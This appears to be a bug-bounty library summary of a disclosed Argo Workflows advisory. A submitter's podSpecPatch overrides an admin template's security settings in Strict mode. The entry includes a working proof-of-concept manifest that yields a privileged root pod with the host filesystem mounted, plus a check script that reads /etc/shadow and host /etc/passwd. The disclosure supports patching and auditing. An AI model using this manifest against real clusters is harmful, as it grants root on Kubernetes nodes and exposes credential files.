# Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode

In Argo Workflows Strict templateReferencing mode, a submitter's podSpecPatch overrides the admin WorkflowTemplate's securityContext, yielding privileged root pods with host filesystem mounts.

- Payout: Research
- Severity: high
- Program: Argo Workflows
- Found by: thevilledev
- Disclosed: 2026-03-11
- CVE: CVE-2026-31892
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3wf5-g532-rcrr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3wf5-g532-rcrr
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:kubernetes technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation

**Target:** Kubernetes workflow controller / Workflow CRD submission
**Root cause:** JoinWorkflowSpec merges with Workflow Spec > WorkflowTemplate Spec priority, so the plain-string podSpecPatch from the submitted Workflow replaces the template's; ApplyPodSpecPatch only checks JSON/PodSpec schema validity, and Strict mode only verifies workflowTemplateRef is set.
**Steps:**
1. Install Argo Workflows v4.0.1 on kind; patch configmap with `workflowRestrictions: templateReferencing: Strict\n` and restart controller.
2. Confirm Strict rejects a standalone Workflow lacking workflowTemplateRef.
3. Admin creates WorkflowTemplate `secure-template` with runAsNonRoot, runAsUser 1000, dropped capabilities.
4. Submit Workflow with `workflowTemplateRef: {name: secure-template}` plus `podSpecPatch` setting `hostPID: true`, `hostNetwork: true`, `privileged: true`, `runAsUser: 0`, `capabilities.add: [ALL]`, and a `hostPath: /` volume mounted at `/host`.
5. Observe pod runs as UID 0, reads /etc/shadow, and accesses host /etc/passwd via /host.
**How found:** Reporter combined three observations: merge priority order in JoinWorkflowSpec, absence of security validation in ApplyPodSpecPatch, and Strict mode only checking workflowTemplateRef presence — then built a kind-based PoC comparing baseline vs patched runs.
**Exploitation:** Any user permitted to submit Workflows referencing an approved template adds a podSpecPatch string; the controller merges it over the template and applies it at pod creation, producing a privileged root container with hostPath / mounted, host PID/network namespaces, and all capabilities — full node compromise.
**Escalation:** From template-restricted workflow submission to root on the Kubernetes node via privileged container plus hostPath mount of /.
**Insight:** When a platform advertises 'restricted to admin templates', audit every user-controllable field that merges into the final spec (patches, overrides, plain-string fields) — merge precedence often lets the lower-trust side win, and schema validation is not security validation.

## Proof of concept (copied exactly from the original report)

**Bypass Workflow with malicious podSpecPatch**

```
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-security-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
  podSpecPatch: |
    hostPID: true
    hostNetwork: true
    containers:
    - name: main
      securityContext:
        privileged: true
        runAsUser: 0
        runAsNonRoot: false
        allowPrivilegeEscalation: true
        capabilities:
          add:
            - ALL
          drop: []
      volumeMounts:
      - name: host-root
        mountPath: /host
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory
```

**Strict mode config patch**

```
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
```

**Hardened WorkflowTemplate definition**

```
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: secure-template
  namespace: argo
  annotations:
    description: "Admin-approved secure template with hardened security settings"
spec:
  entrypoint: secure-task
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  templates:
  - name: secure-task
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args:
        - |
          echo "=== Security Context Check ==="
          echo "Current UID: $(id -u)"
          echo "Current GID: $(id -g)"
          if cat /etc/shadow 2>/dev/null; then
            echo "EXPLOITED: Can read /etc/shadow!"
          else
            echo "SECURE: Cannot read /etc/shadow"
          fi
          if ls /host/etc/passwd 2>/dev/null; then
            echo "EXPLOITED: Host filesystem accessible!"
            cat /host/etc/passwd | head -5
          else
            echo "SECURE: No host filesystem access"
          fi
          if [ "$(id -u)" = "0" ]; then
            echo "EXPLOITED: Running as root!"
          else
            echo "SECURE: Running as non-root (UID: $(id -u))"
          fi
          echo "=== End Check ==="
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        allowPrivilegeEscalation: false
        capabilities:
          drop:
            - ALL
```

